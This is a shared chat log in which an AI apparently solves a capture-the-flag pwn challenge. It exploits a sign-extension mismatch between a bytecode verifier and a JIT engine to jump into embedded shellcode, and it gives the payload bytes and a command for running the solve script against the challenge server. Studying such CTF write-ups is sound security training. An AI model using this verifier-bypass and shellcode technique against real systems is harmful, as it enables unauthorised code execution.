logoChat01.ai

pwn challenge for you During Bangladesh's Liberati...

Creato il: 20 luglio 2026

Risposto usando GPT-5.6 Thinking da Chat01

Domanda

muktir_shongket

pwn challenge for you During Bangladesh's Liberation War, field operatives relied on coded transmissions to coordinate their resistance against the Pakistani military.

A recovered communication terminal still accepts operational orders and verifies every transmission before execution.

The verification unit and the field engine may not agree on the route.

Flag Format : BDSEC{s0mething_here} Connection Info
nc 45.56.67.129 53916

Pensiero

bash -lc /mnt/data/solve_muktir_shongket.py 45.56.67.129 53916

Thought for 1m 36s

Risposta

Solved the vulnerability, but the remote endpoint is currently refusing connections, so I could not retrieve the live flag.

Exploit

The bytecode verifier and execution engine interpret ROUTE differently:

  • Verifier: unsigned forward offset, and it continues checking sequentially.
  • Engine: sign-extends the operand into an x86 jmp rel32.

A SIGNAL instruction embeds eight raw bytes in generated executable memory. Normally the engine jumps over them, but ROUTE 0xf3 becomes a jump of -13, landing inside those bytes.

Embedded code:

asm
mov eax, 0x401bb0    ; hidden freedom/flag function
call rax
ret

The full transmission is:

python
payload = (
    b"\x20" +
    bytes.fromhex("b8b01b4000ffd0c3") +
    b"\x30\xf3" +
    b"\x10" * 243 +
    b"\x40"
)

It passed verification and printed BDSEC{local_test_flag} against a local flag.txt, confirming the exploit.

The service returned:

text
connect to 45.56.67.129 port 53916 failed: Connection refused

Download the exploit script

Run it after the instance is restarted:

bash
python3 solve_muktir_shongket.py 45.56.67.129 53916

Condividi questa Q&A